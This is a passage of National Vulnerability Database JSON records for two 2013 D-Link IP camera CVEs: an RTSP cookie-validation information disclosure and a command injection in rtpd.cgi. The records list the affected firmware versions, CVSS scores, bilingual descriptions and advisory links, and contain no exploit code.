              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "1B09CDBD-7DC9-4E4C-9FD6-3500C56D0B3E",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1130l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "C6DF5842-F02E-4076-9B26-A3CC1EEBC94E",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*",
              "matchCriteriaId": "5A26476D-57A8-481C-80CB-80CC238F083A",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "AD48A2EC-52EB-4C4B-B1ED-EC87822EDF5C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*",
              "matchCriteriaId": "E5A39F0C-8E3B-41AA-8E1D-E2DABB0A4CCC",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "EA9B1618-9862-470A-AA4D-02A779B314A1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*",
              "matchCriteriaId": "28CE404D-2DFF-4203-8954-FA579EF5924B",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.06:*:*:*:*:*:*:*",
              "matchCriteriaId": "309BB5E5-5664-447B-B2C0-DCE54B0FDC2F",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-2102:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "78CD04CA-964A-4D74-B30E-7DC53E1858B6",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*",
              "matchCriteriaId": "C3435DC0-44C2-440D-9C56-39EC06782BBC",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.06:*:*:*:*:*:*:*",
              "matchCriteriaId": "631443E3-859B-439D-879E-C342B514BF33",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-2121:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "FC1DE485-2705-4394-BC93-0BE99FE02F12",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "1DC3F994-76E7-487C-A144-FC6C5AFDC5D9",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "4558EBD8-5FB0-487B-88E6-17E76B2B68BC",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "117E4B04-541F-4398-B644-959329FF45E5",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5230:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "A17CC0BD-D224-4A30-A8CF-07E469F4BFA4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "5265C1F6-0246-4AF4-B348-86D3F8C95C0D",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5230l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "94FFCE95-2A81-465F-B4EB-3B1BD687D87F",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "2915F59C-512F-44B7-BB67-B699B622C055",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-6410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "994CFC4C-7EC2-450A-9E05-940EE3CBA9D5",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "4DDC8CC0-F1B5-4EA4-A822-50FA02476365",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-7410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "7AC168D7-AFFD-44A9-8CB7-29E1EDF0849A",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "4466E781-46D0-4A55-9136-3842E93C228A",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-7510:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "EF686286-DFA4-49CE-BF64-D6BA849FDCD4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "113F0277-63F1-4623-B668-88865ADFAD83",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:wcs-1100:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "D06ED3F1-B59E-447F-B4E6-D95FB834A6C1",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams."
    },
    {
      "lang": "es",
      "value": "Se presenta una vulnerabilidad de Divulgaci\u00f3n de Informaci\u00f3n debido a una comprobaci\u00f3n insuficiente de las cookies de autenticaci\u00f3n para la sesi\u00f3n RTSP en D-Link DCS-5635 versi\u00f3n 1.01, DCS-1100L versi\u00f3n 1.04, DCS-1130L versi\u00f3n 1.04, DCS-1100 versiones 1.03/1.04_US, DCS-1130 versiones 1.03/1.04_US , DCS-2102 versiones 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 versiones 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 versi\u00f3n 1.02, DCS-5230 versi\u00f3n 1.02, DCS-5230L versi\u00f3n 1.02, DCS-6410 versi\u00f3n 1.0, DCS-7410 versi\u00f3n 1.0, DCS-7510 versi\u00f3n 1.0 y WCS-1100 versi\u00f3n 1.02, lo que podr\u00eda permitir a un usuario malicioso obtener acceso no autorizado a transmisiones de video."
    }
  ],
  "id": "CVE-2013-1602",
  "lastModified": "2024-11-21T01:49:58.490",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 5.0,
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "NONE",
          "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 10.0,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2020-01-28T22:15:10.840",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59569"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59569"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-01-28 20:15
Modified
2024-11-21 01:49
Severity ?
Summary
A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera’s web interface.



{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "21E4F54E-78BD-4963-88C0-6B6F9D751C4B",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3411:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "5A0A639C-EC97-4CF6-B853-B9CE3EEDF399",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "3595919A-23A4-42D7-BC22-9AA3E5F196E2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3430:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "0337488F-E15D-497E-855F-7719D4809433",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*",
              "matchCriteriaId": "0C400977-3E3C-4010-8EFE-75F30180FF22",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5605:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "8B92CB5D-CD8E-4768-91CE-C3497C8EA58A",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*",
              "matchCriteriaId": "76933BB0-E0C2-4F81-9B28-879EDAC49302",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5635:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "CCFFD6C7-9379-4197-B447-1C755E6636AB",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "E0FD5F42-72DD-47F4-ABDD-E0E4D0D1754A",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1100l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "70D1E7AB-C4EA-4B97-B788-944244777CFF",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "1B09CDBD-7DC9-4E4C-9FD6-3500C56D0B3E",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1130l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "C6DF5842-F02E-4076-9B26-A3CC1EEBC94E",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*",
              "matchCriteriaId": "5A26476D-57A8-481C-80CB-80CC238F083A",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "AD48A2EC-52EB-4C4B-B1ED-EC87822EDF5C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*",
              "matchCriteriaId": "E5A39F0C-8E3B-41AA-8E1D-E2DABB0A4CCC",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "EA9B1618-9862-470A-AA4D-02A779B314A1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*",
              "matchCriteriaId": "28CE404D-2DFF-4203-8954-FA579EF5924B",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-2102:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "78CD04CA-964A-4D74-B30E-7DC53E1858B6",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*",
              "matchCriteriaId": "C3435DC0-44C2-440D-9C56-39EC06782BBC",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-2121:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "FC1DE485-2705-4394-BC93-0BE99FE02F12",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "1DC3F994-76E7-487C-A144-FC6C5AFDC5D9",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "4558EBD8-5FB0-487B-88E6-17E76B2B68BC",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "117E4B04-541F-4398-B644-959329FF45E5",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5230:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "A17CC0BD-D224-4A30-A8CF-07E469F4BFA4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "5265C1F6-0246-4AF4-B348-86D3F8C95C0D",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5230l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "94FFCE95-2A81-465F-B4EB-3B1BD687D87F",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "2915F59C-512F-44B7-BB67-B699B622C055",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-6410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "994CFC4C-7EC2-450A-9E05-940EE3CBA9D5",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "4DDC8CC0-F1B5-4EA4-A822-50FA02476365",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-7410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "7AC168D7-AFFD-44A9-8CB7-29E1EDF0849A",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "4466E781-46D0-4A55-9136-3842E93C228A",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-7510:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "EF686286-DFA4-49CE-BF64-D6BA849FDCD4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "113F0277-63F1-4623-B668-88865ADFAD83",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:wcs-1100:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "D06ED3F1-B59E-447F-B4E6-D95FB834A6C1",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface."
    },
    {
      "lang": "es",
      "value": "Existe una vulnerabilidad de inyecci\u00f3n de comandos en el script /var/www/cgi-bin/rtpd.cgi en las c\u00e1maras IP D-Link DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L / 1130L 1.04, DCS- 1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00 y WCS-1100 1.02, que podr\u00eda permitir a un usuario malintencionado remoto ejecutar comandos arbitrarios a trav\u00e9s de la interfaz web de la c\u00e1mara."
    }
  ],
  "id": "CVE-2013-1599",
  "lastModified": "2024-11-21T01:49:57.980",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "HIGH",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "COMPLETE",
          "baseScore": 10.0,
          "confidentialityImpact": "COMPLETE",
          "integrityImpact": "COMPLETE",
          "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
          "version": "2.0"
        },
        "exploitabilityScore": 10.0,
        "impactScore": 10.0,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2020-01-28T20:15:11.587",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.exploit-db.com/exploits/25138"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59564"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "https://seclists.org/fulldisclosure/2013/Apr/253"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.exploit-db.com/exploits/25138"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59564"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1599"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "https://seclists.org/fulldisclosure/2013/Apr/253"
